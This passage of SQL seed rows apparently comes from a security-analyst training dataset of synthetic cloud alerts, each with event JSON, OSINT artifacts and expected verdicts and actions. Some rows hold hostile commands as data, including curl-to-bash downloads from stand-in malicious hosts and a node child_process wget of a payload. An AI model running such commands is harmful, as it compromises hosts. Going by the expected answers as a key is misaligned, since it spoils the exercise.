/local/ --recursive\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command used in unauthorized data transfers\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The use of compromised credentials and a known malicious IP confirms the data exfiltration attempt.\"}', 'Intermediate', 'CLOUD', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1989, 'Azure IAM Privilege Escalation Detected', 'high', 'Azure Defender', 'Detected unauthorized increase in IAM permissions for a user account.', 'Privilege Escalation', 'T1068', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:30:00Z\",\"event_type\":\"user_privilege_change\",\"src_ip\":\"198.51.100.55\",\"dst_ip\":\"10.0.0.5\",\"username\":\"elevated_user\",\"hostname\":\"azure-ad\",\"request_body\":\"RoleAssignment\",\"command_line\":\"az role assignment create --assignee elevated_user --role Contributor\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP known for suspicious login attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"elevated_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Account previously not used for administrative tasks\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"az role assignment create --assignee elevated_user --role Contributor\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Command used in privilege escalation incidents\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"block_ip\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The unauthorized role assignment indicates a successful privilege escalation attempt.\"}', 'Intermediate', 'CLOUD', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(1990, 'GCP Service Account Hijacking Detected', 'critical', 'GCP SCC', 'A service account was used to perform activities outside its regular scope, indicating potential hijacking.', 'Credential Access', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:15:00Z\",\"event_type\":\"service_account_use\",\"src_ip\":\"203.0.113.99\",\"dst_ip\":\"192.168.2.15\",\"username\":\"service-account-123\",\"hostname\":\"gcp-project\",\"request_body\":\"Accessing restricted resources\",\"command_line\":\"gcloud compute instances list --filter=\'name~\'restricted-instance\'\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.99\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in previous hijacking incidents\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"service-account-123\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Service account used outside regular patterns\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"gcloud compute instances list --filter=\'name~\'restricted-instance\'\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command indicative of unauthorized resource access\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The unauthorized activities performed by the service account indicate hijacking.\"}', 'Intermediate', 'CLOUD', 5, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1991, 'Prisma Cloud Serverless Function Anomaly', 'high', 'Prisma Cloud', 'Anomalous execution detected in a serverless function. Possible code injection or misuse.', 'Execution', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:00:00Z\",\"event_type\":\"function_execution\",\"src_ip\":\"203.0.113.200\",\"dst_ip\":\"10.0.1.1\",\"username\":\"lambda_function\",\"hostname\":\"prisma-cloud\",\"request_body\":\"Execution of unauthorized script\",\"command_line\":\"node -e \\\"require(\'child_process\').exec(\'wget http://malicious-site.com/payload\');\\\"\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.200\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP known for distributing malware\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"node -e \\\"require(\'child_process\').exec(\'wget http://malicious-site.com/payload\');\\\"\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command execution indicative of code injection\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The execution of a script to download a payload confirms a code injection attempt.\"}', 'Intermediate', 'CLOUD', 5, 1, 'ENERGY', NULL, NULL, NULL, 0),
(1992, 'Wiz Kubernetes Unauthorized Access Attempt', 'medium', 'Wiz', 'Detected an unauthorized access attempt to a Kubernetes cluster. Possible exploitation of misconfigured controls.', 'Lateral Movement', 'T1021', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T13:25:00Z\",\"event_type\":\"cluster_access\",\"src_ip\":\"198.51.100.88\",\"dst_ip\":\"172.16.0.2\",\"username\":\"k8s_admin\",\"hostname\":\"wiz-k8s-cluster\",\"request_body\":\"kubectl get pods\",\"command_line\":\"kubectl exec --stdin --tty pod_name -- /bin/bash\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.88\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP involved in unauthorized Kubernetes access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"kubectl exec --stdin --tty pod_name -- /bin/bash\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Command used in lateral movement attempts within clusters\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The unauthorized kubectl command execution suggests an attempt to move laterally within the cluster.\"}', 'Intermediate', 'CLOUD', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(1993, 'AWS GuardDuty: S3 Bucket Data Leak Detected', 'critical', 'AWS GuardDuty', 'Unauthorized access to an S3 bucket was detected from an external IP address. Sensitive data exfiltration is suspected.', 'Data Exfil', 'T1537', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T13:45:00Z\",\"event_type\":\"s3_access\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"192.168.1.15\",\"username\":\"aws_user123\",\"hostname\":\"s3.amazonaws.com\",\"request_body\":\"GET /sensitive-data/file.txt HTTP/1.1\",\"command_line\":\"\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 1023 times for unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal address of victim machine\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"aws_user123\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Audit\",\"verdict\":\"suspicious\",\"details\":\"User account involved in multiple unauthorized access events\"}},{\"id\":\"artifact_4\",\"type\":\"payload\",\"value\":\"GET /sensitive-data/file.txt HTTP/1.1\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Data exfiltration attempt via unauthorized S3 bucket access\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The alert is confirmed as true positive due to unauthorized access and data retrieval from an external IP.\"}', 'Intermediate', 'CLOUD', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(1994, 'Azure Defender: IAM Privilege Escalation Attempt', 'high', 'Azure Defender', 'Potential privilege escalation detected where a user attempted to assign higher privileges using a compromised account.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:22:00Z\",\"event_type\":\"privilege_escalation\",\"src_ip\":\"203.0.113.50\",\"dst_ip\":\"10.0.0.5\",\"username\":\"compromised_user\",\"hostname\":\"azure.portal.com\",\"request_body\":\"POST /api/assignRole HTTP/1.1\",\"command_line\":\"\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP involved in several privilege escalation attempts\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal address of victim Azure instance\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Audit\",\"verdict\":\"suspicious\",\"details\":\"User account flagged for anomalous activity\"}}],\"expected_actions\":[\"reset_credentials\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Confirmed privilege escalation attempt due to unauthorized role assignment from a known malicious IP.\"}', 'Intermediate', 'CLOUD', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1995, 'GCP SCC: Service Account Hijacking Detected', 'critical', 'GCP SCC', 'A GCP service account was compromised, leading to unauthorized API calls and potential data theft.', 'Credential Attack', 'T1550', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:30:00Z\",\"event_type\":\"api_call\",\"src_ip\":\"192.0.2.75\",\"dst_ip\":\"10.1.1.10\",\"username\":\"service_account_1\",\"hostname\":\"gcp.googleapis.com\",\"request_body\":\"POST /v1/projects/myproject/apis HTTP/1.1\",\"command_line\":\"\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.0.2.75\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous service account hijacking incidents\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal address of affected GCP instance\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"service_account_1\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"suspicious\",\"details\":\"Service account involved in unauthorized API calls\"}}],\"expected_actions\":[\"reset_credentials\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"True positive due to unauthorized API access from a known malicious IP using a compromised service account.\"}', 'Intermediate', 'CLOUD', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(1996, 'Prisma Cloud: Kubernetes Cluster Compromise', 'high', 'Prisma Cloud', 'Suspicious shell commands executed on a Kubernetes node indicating potential compromise.', 'Lateral Movement', 'T1071', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:50:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"172.20.10.5\",\"dst_ip\":\"\",\"username\":\"kube_user\",\"hostname\":\"k8s-node-1\",\"request_body\":\"\",\"command_line\":\"curl -s http://malicious-domain.com/payload.sh | bash\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"172.20.10.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal Kubernetes node IP\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"curl -s http://malicious-domain.com/payload.sh | bash\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command attempting to download and execute a malicious script\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"True positive due to execution of a known malicious command on a Kubernetes node.\"}', 'Intermediate', 'CLOUD', 5, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1997, 'Wiz: Unauthorized Serverless Function Execution', 'medium', 'Wiz', 'An unauthorized execution of a serverless function was detected, potentially leading to data exposure.', 'Execution', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:15:00Z\",\"event_type\":\"function_execution\",\"src_ip\":\"203.0.113.99\",\"dst_ip\":\"\",\"username\":\"lambda_user\",\"hostname\":\"aws.lambda.com\",\"request_body\":\"\",\"command_line\":\"node handler.js\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.99\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported for unauthorized AWS Lambda executions\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"node handler.js\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Execution of a potentially unauthorized serverless script\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"execution\",\"analysis_notes\":\"True positive due to unauthorized execution of a serverless function from a known malicious IP.\"}', 'Intermediate', 'CLOUD', 5, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1998, 'AWS S3 Bucket Data Leak Detected', 'critical', 'AWS GuardDuty', 'An unauthorized access to an S3 bucket was detected originating from an external IP address. Sensitive data may have been exfiltrated.', 'Data Exfil', 'T1537', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T22:34:12Z\",\"event_type\":\"web_request\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.10\",\"username\":\"unauthorized_user\",\"hostname\":\"s3.amazonaws.com\",\"request_body\":\"GET /sensitive-data.zip HTTP/1.1\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"unauthorized_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Username used in previous unauthorized access attempts\"}},{\"id\":\"artifact_3\",\"type\":\"payload\",\"value\":\"GET /sensitive-data.zip HTTP/1.1\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Suspicious download attempt from S3 bucket\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The external IP was involved in unauthorized access, matching OSINT findings for malicious activity.\"}', 'Intermediate', 'CLOUD', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(1999, 'Azure IAM Privilege Escalation Attempt', 'high', 'Azure Defender', 'An internal account attempted to gain higher privileges using a compromised token, indicating possible credential theft.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T18:46:52Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.5\",\"dst_ip\":\"10.0.0.10\",\"username\":\"jdoe\",\"hostname\":\"azurevm01\",\"command_line\":\"az role assignment create --assignee jdoe --role contributor\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"User associated with suspicious privilege escalation attempts\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"az role assignment create --assignee jdoe --role contributor\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command used in unauthorized privilege escalation attempts\"}}],\"expected_actions\":[\"reset_credentials\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The command attempted by the internal user is consistent with privilege escalation behavior.\"}', 'Intermediate', 'CLOUD', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2000, 'GCP Service Account Hijacking Detected', 'critical', 'GCP SCC', 'Anomalous activity detected from a service account, indicating possible hijacking with unauthorized API calls.', 'Lateral Movement', 'T1098', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T02:08:23Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"192.168.1.15\",\"username\":\"svc-account\",\"hostname\":\"gcp-project-1\",\"request_body\":\"POST /v1/projects/service-accounts:signJwt\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple unauthorized API access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"svc-account\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Service account used in unauthorized actions\"}},{\"id\":\"artifact_3\",\"type\":\"payload\",\"value\":\"POST /v1/projects/service-accounts:signJwt\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Unauthorized JWT signing request detected\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The unauthorized API call is a clear indication of service account hijacking.\"}', 'Intermediate', 'CLOUD', 5, 1, 'ENERGY', NULL, NULL, NULL, 0),
(2001, 'Prisma Cloud Kubernetes Pod Compromise', 'high', 'Prisma Cloud', 'Anomalous process execution detected within a Kubernetes pod, indicating possible compromise and lateral movement.', 'Lateral Movement', 'T1570', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T05:11:09Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.1.2.3\",\"dst_ip\":\"10.1.2.4\",\"username\":\"kube-system\",\"hostname\":\"kube-pod-01\",\"command_line\":\"curl http://malicious-site.com/malware.sh | sh\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.1.2.3\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"curl http://malicious-site.com/malware.sh | sh\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command execution indicative of malicious activity\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://malicious-site.com/malware.sh\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL hosting malicious scripts\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The command executed within the pod is consistent with compromise attempt patterns.\"}', 'Intermediate', 'CLOUD', 5, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2002, 'Wiz Serverless Function Abnormal Invocation', 'medium', 'Wiz', 'A serverless function was triggered by an unexpected source IP, suggesting possible unauthorized access.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:45:33Z\",\"event_type\":\"process_execution\",\"src_ip\":\"172.16.0.2\",\"dst_ip\":\"172.16.0.3\",\"username\":\"lambda-function\",\"hostname\":\"aws-lambda-01\",\"command_line\":\"python3 handler.py invoke\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"172.16.0.2\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"python3 handler.py invoke\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"Unusual invocation of serverless function\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"lambda-function\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Lambda function invoked under suspicious circumstances\"}}],\"expected_actions\":[\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The unexpected source of function invocation aligns with unauthorized access patterns.\"}', 'Intermediate', 'CLOUD', 5, 1, 'RETAIL', NULL, NULL, NULL, 0),
(2003, 'AWS S3 Bucket Data Leak Detected', 'critical', 'AWS GuardDuty', 'Unusual access pattern detected on an S3 bucket. Data exfiltration attempt suspected from an external IP address.', 'Data Exfil', 'T1537', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:15:30Z\",\"event_type\":\"s3_access\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"192.168.1.10\",\"username\":\"jdoe\",\"hostname\":\"s3.amazonaws.com\",\"request_body\":\"GET /sensitive-data\",\"command_line\":\"aws s3 cp s3://bucket-name/sensitive-data .\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 134 times for data exfiltration attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal user account accessed S3 bucket\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"aws s3 cp s3://bucket-name/sensitive-data .\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"Suspicious command-line execution for data copy\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"External IP involved in data exfiltration from AWS S3 bucket, indicating a true positive data leak.\"}', 'Intermediate', 'CLOUD', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(2004, 'Azure IAM Privilege Escalation Attempt', 'high', 'Azure Defender', 'Anomalous activity detected: Unauthorized role assignment to a user account with potentially escalated privileges.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:47:45Z\",\"event_type\":\"role_assignment\",\"src_ip\":\"203.0.113.77\",\"dst_ip\":\"10.0.0.5\",\"username\":\"malicious_user\",\"hostname\":\"azure.com\",\"request_body\":\"RoleAssignment: Contributor\",\"command_line\":\"az role assignment create --assignee user@example.com --role Contributor\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.77\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in multiple unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"malicious_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"User account associated with privilege escalation attempts\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"az role assignment create --assignee user@example.com --role Contributor\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"Potential unauthorized privilege escalation command\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The assignment of elevated roles without authorization is a clear indicator of privilege escalation.\"}', 'Intermediate', 'CLOUD', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2005, 'GCP Service Account Hijacking', 'critical', 'GCP SCC', 'Suspicious activity detected from a compromised service account, indicating potential hijacking and misuse.', 'Credential Attack', 'T1530', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:23:10Z\",\"event_type\":\"service_account_activity\",\"src_ip\":\"192.0.2.55\",\"dst_ip\":\"10.1.1.2\",\"username\":\"compromised_service_account\",\"hostname\":\"gcp.google.com\",\"request_body\":\"Accessing cloud storage buckets\",\"command_line\":\"gcloud auth activate-service-account --key-file=compromised-key.json\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.0.2.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP linked to unauthorized service account activities\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"compromised_service_account\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Service account potentially compromised and misused\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"gcloud auth activate-service-account --key-file=compromised-key.json\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"Execution of service account activation command with compromised credentials\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Service account hijacking attempts confirmed by unauthorized access and command execution.\"}', 'Intermediate', 'CLOUD', 5, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2006, 'Kubernetes API Access from Unauthorized IP', 'high', 'Prisma Cloud', 'Detected access to Kubernetes API from an IP not whitelisted, potentially indicating a reconnaissance attempt.', 'Lateral Movement', 'T1570', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:32:20Z\",\"event_type\":\"api_access\",\"src_ip\":\"203.0.113.88\",\"dst_ip\":\"192.168.10.15\",\"username\":\"kube_admin\",\"hostname\":\"k8s_api_server\",\"request_body\":\"GET /api/v1/namespaces/default/pods\",\"command_line\":\"kubectl get pods --namespace default\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.88\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP flagged for unauthorized API access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"kube_admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Admin user account accessing Kubernetes API\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"kubectl get pods --namespace default\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"Suspicious command potentially used for reconnaissance\"}}],\"expected_actions\":[\"block_ip\",\"collect_forensics\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"Unauthorized IP accessing Kubernetes API suggests potential lateral movement within the network.\"}', 'Intermediate', 'CLOUD', 5, 1, 'RETAIL', NULL, NULL, NULL, 0),
